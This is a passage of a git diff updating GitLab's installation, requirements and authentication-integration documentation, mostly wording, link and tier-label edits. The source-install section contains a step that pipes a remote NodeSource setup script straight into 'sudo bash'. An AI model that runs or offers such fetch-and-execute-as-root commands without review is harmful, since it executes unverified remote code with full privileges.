location](installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcso6-version-glibc_214-not-found). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/google_cloud_platform/index.md b/doc/install/google_cloud_platform/index.md index d579e214efc..7f38970a2b1 100644 --- a/doc/install/google_cloud_platform/index.md +++ b/doc/install/google_cloud_platform/index.md @@ -36,7 +36,7 @@ To deploy GitLab on GCP you first need to create a virtual machine:  1. On the next page, you can select the type of VM as well as the - estimated costs. Provide the name of the instance, desired datacenter, and machine type. + estimated costs. Provide the name of the instance, desired data center, and machine type. Note our [hardware requirements for different user base sizes](../requirements.md#hardware-requirements).  diff --git a/doc/install/index.md b/doc/install/index.md new file mode 100644 index 00000000000..948365ce548 --- /dev/null +++ b/doc/install/index.md @@ -0,0 +1,143 @@ +--- +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +description: Read through the GitLab installation methods. +type: index +--- + +# Installation **(FREE SELF)** + +GitLab can be installed in most GNU/Linux distributions and with several +cloud providers. To get the best experience from GitLab, you must balance +performance, reliability, ease of administration (backups, upgrades, and +troubleshooting), and the cost of hosting. + +Depending on your platform, select from the following available methods to +install GitLab: + +- [_Omnibus GitLab_](#installing-gitlab-on-linux-using-the-omnibus-gitlab-package-recommended): + The official deb/rpm packages that contain a bundle of GitLab and the + components it depends on, including PostgreSQL, Redis, and Sidekiq. +- [_GitLab Helm chart_](#installing-gitlab-on-kubernetes-via-the-gitlab-helm-charts): + The cloud native Helm chart for installing GitLab and all of its components + on Kubernetes. +- [_Docker_](#installing-gitlab-with-docker): The Omnibus GitLab packages, + Dockerized. +- [_Source_](#installing-gitlab-from-source): Install GitLab and all of its + components from scratch. +- [_Cloud provider_](#installing-gitlab-on-cloud-providers): Install directly + from platforms like AWS, Azure, and GCP. + +If you're not sure which installation method to use, we recommend you use +Omnibus GitLab. The Omnibus GitLab packages are mature, +[scalable](../administration/reference_architectures/index.md), and are used +today on GitLab.com. The Helm charts are recommended for those who are familiar +with Kubernetes. + +## Requirements + +Before you install GitLab, be sure to review the [system requirements](requirements.md). +The system requirements include details about the minimum hardware, software, +database, and additional requirements to support GitLab. + +## Installing GitLab on Linux using the Omnibus GitLab package (recommended) + +The Omnibus GitLab package uses our official deb/rpm repositories, and is +recommended for most users. + +If you need additional scale or resilience, we recommend deploying +GitLab as described in our [reference architecture documentation](../administration/reference_architectures/index.md). + +[**> Install GitLab using the Omnibus GitLab package.**](https://about.gitlab.com/install/) + +### GitLab Environment Toolkit (alpha) + +The [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit) provides a set of automation tools to easily deploy a [reference architecture](../administration/reference_architectures/index.md) on most major cloud providers. + +It is currently in alpha, and is not recommended for production use. + +[**> Install a GitLab reference architecture using the GitLab Environment Toolkit.**](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit#documentation) + +## Installing GitLab on Kubernetes via the GitLab Helm charts + +When installing GitLab on Kubernetes, there are some trade-offs that you +need to be aware of: + +- Administration and troubleshooting requires Kubernetes knowledge. +- It can be more expensive for smaller installations. The default installation + requires more resources than a single node Omnibus deployment, as most services + are deployed in a redundant fashion. +- There are some feature [limitations to be aware of](https://docs.gitlab.com/charts/#limitations). + +Due to these trade-offs, having Kubernetes experience is a requirement for +using this method. We recommend being familiar with Kubernetes before using it +to deploy GitLab in production. The methods for management, observability, and +some concepts are different than traditional deployments. + +[**> Install GitLab on Kubernetes using the GitLab Helm charts.**](https://docs.gitlab.com/charts/) + +## Installing GitLab with Docker + +GitLab maintains a set of official Docker images based on the Omnibus GitLab +package. + +[**> Install GitLab using the official GitLab Docker images.**](docker.md) + +## Installing GitLab from source + +If the Omnibus GitLab package isn't available for your distribution, you can +install GitLab from source. This can be useful with unsupported systems, like +\*BSD. For an overview of the directory structure, see the +[structure documentation](installation.md#gitlab-directory-structure). + +[**> Install GitLab from source.**](installation.md) + +## Installing GitLab on cloud providers + +GitLab can be installed on a variety of cloud providers by using any of +the above methods, provided the cloud provider supports it. + +- [Install on AWS](aws/index.md): Install Omnibus GitLab on AWS using the community AMIs that GitLab provides. +- [Install GitLab on Google Cloud Platform](google_cloud_platform/index.md): Install Omnibus GitLab on a VM in GCP. +- [Install GitLab on Azure](azure/index.md): Install Omnibus GitLab from Azure Marketplace. +- [Install GitLab on OpenShift](https://docs.gitlab.com/charts/installation/cloud/openshift.html): Install GitLab on OpenShift by using the GitLab Helm charts. +- [Install GitLab on DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-gitlab-on-ubuntu-18-04): Install Omnibus GitLab on DigitalOcean. +- _Testing only!_ [DigitalOcean and Docker Machine](digitaloceandocker.md): + Quickly test any version of GitLab on DigitalOcean using Docker Machine. + +## Next steps + +Here are a few resources you might want to check out after completing the +installation: + +- [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/): + Activate all GitLab Enterprise Edition functionality with a license. +- [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab + Runners, the agents that are responsible for all of the GitLab CI/CD features. +- [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to + allow hosting of static sites. +- [GitLab Registry](../administration/packages/container_registry.md): With the + GitLab Container Registry, every project can have its own space to store Docker + images. +- [Secure GitLab](../security/README.md#securing-your-gitlab-installation): + Recommended practices to secure your GitLab instance. +- [SMTP](https://docs.gitlab.com/omnibus/settings/smtp.html): Configure SMTP + for proper email notifications support. +- [LDAP](../administration/auth/ldap/index.md): Configure LDAP to be used as + an authentication mechanism for GitLab. +- [Back up and restore GitLab](../raketasks/backup_restore.md): Learn the different + ways you can back up or restore GitLab. +- [Upgrade GitLab](../update/index.md): Every 22nd of the month, a new feature-rich GitLab version + is released. Learn how to upgrade to it, or to an interim release that contains a security fix. +- [Scaling GitLab](../administration/reference_architectures/index.md): + GitLab supports several different types of clustering. +- [Advanced Search](../integration/elasticsearch.md): Leverage Elasticsearch for + faster, more advanced code search across your entire GitLab instance. +- [Geo replication](../administration/geo/index.md): + Geo is the solution for widely distributed development teams. +- [Release and maintenance policy](../policy/maintenance.md): Learn about GitLab + policies governing version naming, as well as release pace for major, minor, patch, + and security releases. +- [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers. diff --git a/doc/install/installation.md b/doc/install/installation.md index 80f3f6ab092..f246f975acf 100644 --- a/doc/install/installation.md +++ b/doc/install/installation.md @@ -9,7 +9,7 @@ type: howto This is the official installation guide to set up a production GitLab server using the source files. To set up a **development installation** or for many -other installation options, see the [main installation page](README.md). +other installation options, see the [main installation page](index.md). It was created for and tested on **Debian/Ubuntu** operating systems. Read [requirements.md](requirements.md) for hardware and operating system requirements. If you want to install on RHEL/CentOS, we recommend using the @@ -110,7 +110,7 @@ Install the required packages (needed to compile Ruby and native extensions to R sudo apt-get install -y build-essential zlib1g-dev libyaml-dev libssl-dev libgdbm-dev libre2-dev \ libreadline-dev libncurses5-dev libffi-dev curl openssh-server checkinstall libxml2-dev \ libxslt-dev libcurl4-openssl-dev libicu-dev logrotate rsync python-docutils pkg-config cmake \ - runit + runit-systemd ``` Ubuntu 14.04 (Trusty Tahr) doesn't have the `libre2-dev` package available, but @@ -172,8 +172,12 @@ sudo apt-get install -y postfix Then select 'Internet Site' and press enter to confirm the hostname. +<!-- vale gitlab.Spelling = NO --> + ### Exiftool +<!-- vale gitlab.Spelling = YES --> + [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse#dependencies) requires `exiftool` to remove EXIF data from uploaded images. @@ -187,7 +191,7 @@ The Ruby interpreter is required to run GitLab. See the [requirements page](requirements.md#ruby-versions) for the minimum Ruby requirements. -The use of Ruby version managers such as [RVM](https://rvm.io/), [rbenv](https://github.com/rbenv/rbenv) or [chruby](https://github.com/postmodern/chruby) with GitLab +The use of Ruby version managers such as [`RVM`](https://rvm.io/), [`rbenv`](https://github.com/rbenv/rbenv) or [`chruby`](https://github.com/postmodern/chruby) with GitLab in production, frequently leads to hard to diagnose problems. Version managers are not supported and we strongly advise everyone to follow the instructions below to use a system Ruby. @@ -205,7 +209,7 @@ Download Ruby and compile it: ```shell mkdir /tmp/ruby && cd /tmp/ruby -curl --remote-name --progress "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz" +curl --remote-name --progress-bar "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz" echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz cd ruby-2.7.2 @@ -225,7 +229,7 @@ page](https://golang.org/dl). # Remove former Go installation folder sudo rm -rf /usr/local/go -curl --remote-name --progress "https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz" +curl --remote-name --progress-bar "https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz" echo '512103d7ad296467814a6e3f635631bd35574cab3369a97a323c9a585ccaa569 go1.13.5.linux-amd64.tar.gz' | shasum -a256 -c - && \ sudo tar -C /usr/local -xzf go1.13.5.linux-amd64.tar.gz sudo ln -sf /usr/local/go/bin/{go,godoc,gofmt} /usr/local/bin/ @@ -238,16 +242,16 @@ In GitLab 8.17 and later, GitLab requires the use of Node to compile JavaScript assets, and Yarn to manage JavaScript dependencies. The current minimum requirements for these are: -- `node` >= v10.13.0. (We recommend node 12.x as it is faster) +- `node` >= v10.14.2. (We recommend node 14.x as it is faster) - `yarn` >= v1.10.0. -In many distros, +In many distributions, the versions provided by the official package repositories are out of date, so we need to install through the following commands: ```shell -# install node v12.x -curl --location "https://deb.nodesource.com/setup_12.x" | sudo bash - +# install node v14.x +curl --location "https://deb.nodesource.com/setup_14.x" | sudo bash - sudo apt-get install -y nodejs curl --silent --show-error "https://dl.yarnpkg.com/debian/pubkey.gpg" | sudo apt-key add - @@ -603,7 +607,7 @@ You can specify a different Git repository by providing it as an extra parameter sudo -u git -H bundle exec rake "gitlab:workhorse:install[/home/git/gitlab-workhorse,https://example.com/gitlab-workhorse.git]" RAILS_ENV=production ``` -### Install GitLab-Elasticsearch-indexer on Enterprise Edition **(STARTER ONLY)** +### Install GitLab-Elasticsearch-indexer on Enterprise Edition **(PREMIUM SELF)** GitLab-Elasticsearch-Indexer uses [GNU Make](https://www.gnu.org/software/make/). The following command-line installs GitLab-Elasticsearch-Indexer in `/home/git/gitlab-elasticsearch-indexer` @@ -935,7 +939,7 @@ production: url: redis://redis.example.tld:6379 ``` -If you want to connect the Redis server via socket, use the "unix:" URL scheme and the path to the Redis socket file in the `config/resque.yml` file. +If you want to connect the Redis server via socket, use the `unix:` URL scheme and the path to the Redis socket file in the `config/resque.yml` file. ```yaml # example diff --git a/doc/install/ldap.md b/doc/install/ldap.md deleted file mode 100644 index e88363f81b1..00000000000 --- a/doc/install/ldap.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/auth/ldap/index.md' ---- - -This document was moved to [another location](../administration/auth/ldap/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/openshift_and_gitlab/index.md b/doc/install/openshift_and_gitlab/index.md index 21fe87a71b1..3ee899958af 100644 --- a/doc/install/openshift_and_gitlab/index.md +++ b/doc/install/openshift_and_gitlab/index.md @@ -15,7 +15,7 @@ for details. ## Introduction -[OpenShift Origin](https://www.okd.io/) (**Note:** renamed to OKD in Aug 2018) is an open source container application +[OpenShift Origin](https://www.okd.io/) (**Note:** renamed to OKD in August 2018) is an open source container application platform created by [RedHat](https://www.redhat.com/en), based on [Kubernetes](https://kubernetes.io/) and [Docker](https://www.docker.com). That means you can host your own PaaS for free and almost with no hassle. @@ -44,7 +44,7 @@ test OpenShift easily: It is also important to mention that for the purposes of this tutorial, the latest Origin release is used: -- **oc** `v1.3.0` (must be [installed](https://github.com/openshift/origin/releases/tag/v1.3.0) locally on your computer) +- **`oc`** `v1.3.0` (must be [installed](https://github.com/openshift/origin/releases/tag/v1.3.0) locally on your computer) - **OpenShift** `v1.3.0` (is pre-installed in the [VM image](https://app.vagrantup.com/openshift/boxes/origin-all-in-one)) - **Kubernetes** `v1.3.0` (is pre-installed in the [VM image](https://app.vagrantup.com/openshift/boxes/origin-all-in-one)) @@ -59,8 +59,8 @@ on your computer. ## Getting familiar with OpenShift Origin -The environment we are about to use is based on CentOS 7 which comes with all -the tools needed pre-installed: Docker, Kubernetes, OpenShift, etcd. +The environment we are about to use is based on CentOS 7, which comes with all +the tools needed pre-installed, including Docker, Kubernetes, and OpenShift. ### Test OpenShift using Vagrant @@ -100,14 +100,14 @@ order to proceed. Let's login as admin with username/password `admin/admin`. This is what the landing page looks like: - + You can see that a number of [projects](https://docs.okd.io/3.11/dev_guide/projects.html) are already created for testing purposes. If you head over the `openshift-infra` project, a number of services with their respective pods are there to explore. - + We are not going to explore the whole interface, but if you want to learn about the key concepts of OpenShift, read the [core concepts reference](https://docs.okd.io/3.11/architecture/core_concepts/index.html) @@ -318,7 +318,7 @@ NOTE: The `gitlab.apps.10.2.2.2.nip.io` hostname that is used by default will resolve to the host with IP `10.2.2.2` which is the IP our VM uses. It is a trick to have distinct FQDNs pointing to services that are on our local network. -Read more on how this works in <https://nip.io>. +Read more on how this works at [nip.io](https://nip.io). Now that we configured this, let's see how to manage and scale GitLab. @@ -343,7 +343,7 @@ created the GitLab app? This is where you can see them in action.  -You can see GitLab being reconfigured by taking look at the logs in realtime. +You can see GitLab being reconfigured by taking look at the logs in real time. Click on `gitlab-ce-2-j7ioe` (your ID will be different) and go to the **Logs** tab. @@ -464,7 +464,7 @@ OpenShift's website about [autoscaling](https://docs.okd.io/3.11/dev_guide/pod_a As stated in the [all-in-one VM](https://www.okd.io/minishift/) page: > By default, OpenShift will not allow a container to run as root or even a -non-random container assigned userid. Most Docker images in Docker Hub do not +non-random container assigned user ID. Most Docker images in Docker Hub do not follow this best practice and instead run as root. The all-in-one VM we are using has this security turned off so it will not diff --git a/doc/install/pivotal/index.md b/doc/install/pivotal/index.md index 1ac667898ab..eee70c2c578 100644 --- a/doc/install/pivotal/index.md +++ b/doc/install/pivotal/index.md @@ -4,7 +4,7 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Pivotal Tile **(PREMIUM ONLY)** +# GitLab Pivotal Tile **(PREMIUM SELF)** WARNING: As of September 13, 2017, the GitLab Enterprise Plus for Pivotal Cloud Foundry diff --git a/doc/install/redis.md b/doc/install/redis.md deleted file mode 100644 index 9048f777a0d..00000000000 --- a/doc/install/redis.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: installation.md#7-redis ---- - -This document was moved to [another location](installation.md#7-redis). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 69983edc383..da07453c2ce 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -22,7 +22,7 @@ as the hardware requirements that are needed to install and use GitLab. - Scientific Linux (please use the CentOS packages and instructions) - Oracle Linux (please use the CentOS packages and instructions) -For the installation options, see [the main installation page](README.md). +For the installation options, see [the main installation page](index.md). ### Unsupported Linux distributions and Unix-like operating systems @@ -179,7 +179,7 @@ Omnibus GitLab defaults to the recommended Puma settings. Regardless of installa tune the Puma settings. If you're using Omnibus GitLab, see [Puma settings](https://docs.gitlab.com/omnibus/settings/puma.html) -for instructions on changing the Puma settings. If you're using the GitLab Helm chart, see the [Webservice chart](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html). +for instructions on changing the Puma settings. If you're using the GitLab Helm chart, see the [`webservice` chart](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html). ### Puma workers @@ -227,7 +227,7 @@ recommendation above) please see [the Unicorn settings in the Omnibus GitLab doc Redis stores all user sessions and the background task queue. The storage requirements for Redis are minimal, about 25kB per user. -Sidekiq processes the background jobs with a multithreaded process. +Sidekiq processes the background jobs with a multi-threaded process. This process starts with the entire Rails stack (200MB+) but it can grow over time due to memory leaks. On a very active server (10,000 billable users) the Sidekiq process can use 1GB+ of memory. diff --git a/doc/install/structure.md b/doc/install/structure.md deleted file mode 100644 index ca90a3de1b8..00000000000 --- a/doc/install/structure.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: installation.md#gitlab-directory-structure ---- - -This page was moved to [another location](installation.md#gitlab-directory-structure). diff --git a/doc/integration/README.md b/doc/integration/README.md index 227e2eec53c..7d38dd6222a 100644 --- a/doc/integration/README.md +++ b/doc/integration/README.md @@ -25,7 +25,7 @@ GitLab can be configured to authenticate access requests with the following auth - Enable sign in via [LDAP](../administration/auth/ldap/index.md). - Enable [OAuth2 provider](oauth_provider.md) application creation. - Use [OmniAuth](omniauth.md) to enable sign in via Twitter, GitHub, GitLab.com, Google, - Bitbucket, Facebook, Shibboleth, SAML, Crowd, Azure or Authentiq ID. + Bitbucket, Facebook, Shibboleth, SAML, Crowd, Azure, or Authentiq ID. - Use GitLab as an [OpenID Connect](openid_connect_provider.md) identity provider. - Authenticate to [Vault](vault.md) through GitLab OpenID Connect. - Configure GitLab as a [SAML](saml.md) 2.0 Service Provider. @@ -39,6 +39,11 @@ GitLab can be integrated with the following external services to enhance securit GitLab also provides features to improve the security of your own application. For more details see [GitLab Secure](../user/application_security/index.md). +## Security partners + +GitLab has integrated with several security partners. For more information, see +[Security partners integration](security_partners/index.md). + ## Continuous integration GitLab can be integrated with the following external service for continuous integration: @@ -65,7 +70,9 @@ Integration with services such as Campfire, Flowdock, HipChat, Pivotal Tracker, ### SSL certificate errors -When trying to integrate GitLab with services that are using self-signed certificates, it is very likely that SSL certificate errors occur in different parts of the application, most likely Sidekiq. +When trying to integrate GitLab with services using self-signed certificates, +SSL certificate errors can occur in different parts of the application. Sidekiq +is a common culprit. There are two approaches you can take to solve this: diff --git a/doc/integration/azure.md b/doc/integration/azure.md index f22a94a01c7..c83ef650f54 100644 --- a/doc/integration/azure.md +++ b/doc/integration/azure.md @@ -6,6 +6,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Microsoft Azure OAuth2 OmniAuth Provider +NOTE: +Per Microsoft, this provider uses the [older Azure Active Directory v1.0 endpoint](https://docs.microsoft.com/en-us/azure/active-directory/azuread-dev/v1-protocols-oauth-code). +Microsoft documentation suggests that you should use the [OpenID Connect protocol to use the v2 endpoints](../administration/auth/oidc.md#microsoft-azure) for new projects. + To enable the Microsoft Azure OAuth2 OmniAuth provider, you must register your application with Azure. Azure generates a client ID and secret key for you to use. Sign in to the [Azure Portal](https://portal.azure.com), and follow the instructions in diff --git a/doc/integration/bitbucket.md b/doc/integration/bitbucket.md index 4bc9d39ae3f..8999f4da9a2 100644 --- a/doc/integration/bitbucket.md +++ b/doc/integration/bitbucket.md @@ -10,8 +10,8 @@ NOTE: Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an earlier version, you must explicitly enable it. -You can set up Bitbucket.org as an OAuth2 provider so that you can use your -Bitbucket.org account credentials to sign into GitLab or import your projects from +You can set up Bitbucket.org as an OAuth2 provider to use your +Bitbucket.org account credentials to sign in to GitLab, or import your projects from Bitbucket.org. - To use Bitbucket.org as an OmniAuth provider, follow the diff --git a/doc/integration/cas.md b/doc/integration/cas.md index 5a198e85f5c..b444143b03e 100644 --- a/doc/integration/cas.md +++ b/doc/integration/cas.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # CAS OmniAuth Provider -To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab supplies to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for backchannel logout. +To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab supplies to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for back-channel logout. 1. On your GitLab server, open the configuration file. @@ -57,7 +57,7 @@ To enable the CAS OmniAuth provider you must register your application with your logout_url: '/CAS_PATH/logout' } } ``` -1. Change 'CAS_PATH' to the root of your CAS instance (ie. `cas`). +1. Change 'CAS_PATH' to the root of your CAS instance (such as `cas`). 1. If your CAS instance does not use default TGC lifetimes, update the `cas3.session_duration` to at least the current TGC maximum lifetime. To explicitly disable SLO, regardless of CAS settings, set this to 0. diff --git a/doc/integration/chat_commands.md b/doc/integration/chat_commands.md deleted file mode 100644 index a0361064d87..00000000000 --- a/doc/integration/chat_commands.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'slash_commands.md' ---- - -This document was moved to [integration/slash_commands.md](slash_commands.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/crowd.md b/doc/integration/crowd.md deleted file mode 100644 index e07e3435baf..00000000000 --- a/doc/integration/crowd.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/auth/crowd.md' ---- - -This document was moved to [`administration/auth/crowd`](../administration/auth/crowd.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md index b1fc2573bb0..389c7aabdf5 100644 --- a/doc/integration/elasticsearch.md +++ b/doc/integration/elasticsearch.md @@ -5,10 +5,9 @@ group: Global Search info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Elasticsearch integration **(STARTER ONLY)** +# Elasticsearch integration **(PREMIUM SELF)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109 "Elasticsearch Merge Request") in GitLab [Starter](https://about.gitlab.com/pricing/) 8.4. -> - Support for [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1305) in GitLab [Starter](https://about.gitlab.com/pricing/) 9.0. +> Moved to GitLab Premium in 13.9. This document describes how to enable Advanced Search. After Advanced Search is enabled, you'll have the benefit of fast search response times @@ -87,7 +86,7 @@ updated automatically. Since Elasticsearch can read and use indices created in the previous major version, you don't need to change anything in the GitLab configuration when upgrading Elasticsearch. -The only thing worth noting is that if you have created your current index before GitLab 13.0, you might want to [reclaim the production index name](#reclaiming-the-gitlab-production-index-name) or reindex from scratch (which will implicitly create an alias). The latter might be faster depending on the GitLab instance size. Once you do that, you'll be able to perform zero-downtime reindexing and you will benefit from any future features that will make use of the alias. +The only thing worth noting is that if you have created your current index before GitLab 13.0, you might want to reindex from scratch (which will implicitly create an alias) in order to use some features, for example [Zero downtime reindexing](#zero-downtime-reindexing). Once you do that, you'll be able to perform zero-downtime reindexing and will benefit from any future features that make use of the alias. ## Elasticsearch repository indexer @@ -152,7 +151,7 @@ cd $indexer_path && sudo make install The `gitlab-elasticsearch-indexer` will be installed to `/usr/local/bin`. -You can change the installation path with the `PREFIX` env variable. +You can change the installation path with the `PREFIX` environment variable. Please remember to pass the `-E` flag to `sudo` if you do so. Example: @@ -175,18 +174,17 @@ instances](#indexing-large-instances) below. To enable Advanced Search, you need to have admin access to GitLab: -1. Navigate to **Admin Area**, then **Settings > General** - and expand the **Advanced Search** section. +1. Navigate to **Admin Area**, then **Settings > Advanced Search**. NOTE: - To see the Advanced Search section, you need an active Starter + To see the Advanced Search section, you need an active GitLab Premium [license](../user/admin_area/license.md). 1. Configure the [Advanced Search settings](#advanced-search-configuration) for your Elasticsearch cluster. Do not enable **Search with Elasticsearch enabled** yet. 1. Now enable **Elasticsearch indexing** in **Admin Area > Settings > - General > Advanced Search** and click **Save changes**. This will create + Advanced Search** and click **Save changes**. This will create an empty index if one does not already exist. 1. Click **Index all projects**. 1. Click **Check progress** in the confirmation message to see the status of @@ -202,7 +200,7 @@ To enable Advanced Search, you need to have admin access to GitLab: ``` 1. After the indexing has completed, enable **Search with Elasticsearch enabled** in - **Admin Area > Settings > General > Advanced Search** and click **Save + **Admin Area > Settings > Advanced Search** and click **Save changes**. NOTE: @@ -218,7 +216,7 @@ The following Elasticsearch settings are available: | Parameter | Description | |-------------------------------------------------------|-------------| | `Elasticsearch indexing` | Enables or disables Elasticsearch indexing and creates an empty index if one does not already exist. You may want to enable indexing but disable search in order to give the index time to be fully completed, for example. Also, keep in mind that this option doesn't have any impact on existing data, this only enables/disables the background indexer which tracks data changes and ensures new data is indexed. | -| `Pause Elasticsearch indexing` | Enables or disables temporary indexing pause. This is useful for cluster migration/reindexing. All changes are still tracked, but they are not committed to the Elasticsearch index until unpaused. | +| `Pause Elasticsearch indexing` | Enables or disables temporary indexing pause. This is useful for cluster migration/reindexing. All changes are still tracked, but they are not committed to the Elasticsearch index until resumed. | | `Search with Elasticsearch enabled` | Enables or disables using Elasticsearch in search. | | `URL` | The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., `http://host1, https://host2:9200`). If your Elasticsearch instance is password protected, pass the `username:password` in the URL (e.g., `http://<username>:<password>@<elastic_host>:9200/`). | | `Number of Elasticsearch shards` | Elasticsearch indexes are split into multiple shards for performance reasons. In general, larger indexes need to have more shards. Changes to this value do not take effect until the index is recreated. You can read more about tradeoffs in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/scalability.html). | @@ -241,7 +239,7 @@ If you select `Limit namespaces and projects that can be indexed`, more options  You can select namespaces and projects to index exclusively. Note that if the namespace is a group it will include -any sub-groups and projects belonging to those sub-groups to be indexed as well. +any subgroups and projects belonging to those subgroups to be indexed as well. Advanced Search only provides cross-group code/commit search (global) if all name-spaces are indexed. In this particular scenario where only a subset of namespaces are indexed, a global search will not provide a code or commit scope. This will be possible only in the scope of an indexed namespace. Currently there is no way to code/commit search in multiple indexed namespaces (when only a subset of namespaces has been indexed). For example if two groups are indexed, there is no way to run a single code search on both. You can only run a code search on the first group and then on the second. @@ -260,13 +258,13 @@ from the Elasticsearch index as expected. ## Enabling custom language analyzers -You can improve the language support for Chinese and Japanese languages by utilizing [smartcn](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) and/or [kuromoji](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) analysis plugins from Elastic. +You can improve the language support for Chinese and Japanese languages by utilizing [`smartcn`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) and/or [`kuromoji`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) analysis plugins from Elastic. To enable language(s) support: 1. Install the desired plugin(s), please refer to [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/plugins/7.9/installation.html) for plugins installation instructions. The plugin(s) must be installed on every node in the cluster, and each node must be restarted after installation. For a list of plugins, see the table later in this section. -1. Navigate to the **Admin Area**, then **Settings > General**.. -1. Expand the **Advanced Search** section and locate **Custom analyzers: language support**. +1. Navigate to the **Admin Area**, then **Settings > Advanced Search**.. +1. Locate **Custom analyzers: language support**. 1. Enable plugin(s) support for **Indexing**. 1. Click **Save changes** for the changes to take effect. 1. Trigger [Zero downtime reindexing](#zero-downtime-reindexing) or reindex everything from scratch to create a new index with updated mappings. @@ -276,18 +274,17 @@ For guidance on what to install, see the following Elasticsearch language plugin | Parameter | Description | |-------------------------------------------------------|-------------| -| `Enable Chinese (smartcn) custom analyzer: Indexing` | Enables or disables Chinese language support using [smartcn](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) custom analyzer for newly created indices.| -| `Enable Chinese (smartcn) custom analyzer: Search` | Enables or disables using [smartcn](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) fields for Advanced Search. Please only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html), enabling custom analyzer indexing and recreating the index.| -| `Enable Japanese (kuromoji) custom analyzer: Indexing` | Enables or disables Japanese language support using [kuromoji](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) custom analyzer for newly created indices.| -| `Enable Japanese (kuromoji) custom analyzer: Search` | Enables or disables using [kuromoji](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) fields for Advanced Search. Please only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html), enabling custom analyzer indexing and recreating the index.| +| `Enable Chinese (smartcn) custom analyzer: Indexing` | Enables or disables Chinese language support using [`smartcn`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) custom analyzer for newly created indices.| +| `Enable Chinese (smartcn) custom analyzer: Search` | Enables or disables using [`smartcn`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html) fields for Advanced Search. Please only enable this after [installing the plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-smartcn.html), enabling custom analyzer indexing and recreating the index.| +| `Enable Japanese (kuromoji) custom analyzer: Indexing` | Enables or disables Japanese language support using [`kuromoji`](https://www.elastic.co/guide/en/elasticsearch/plugins/current/analysis-kuromoji.html) custom analyzer for newly created indices.| +| `Enable Japanese (kuromoji) custom analyzer: Search` | Enables or 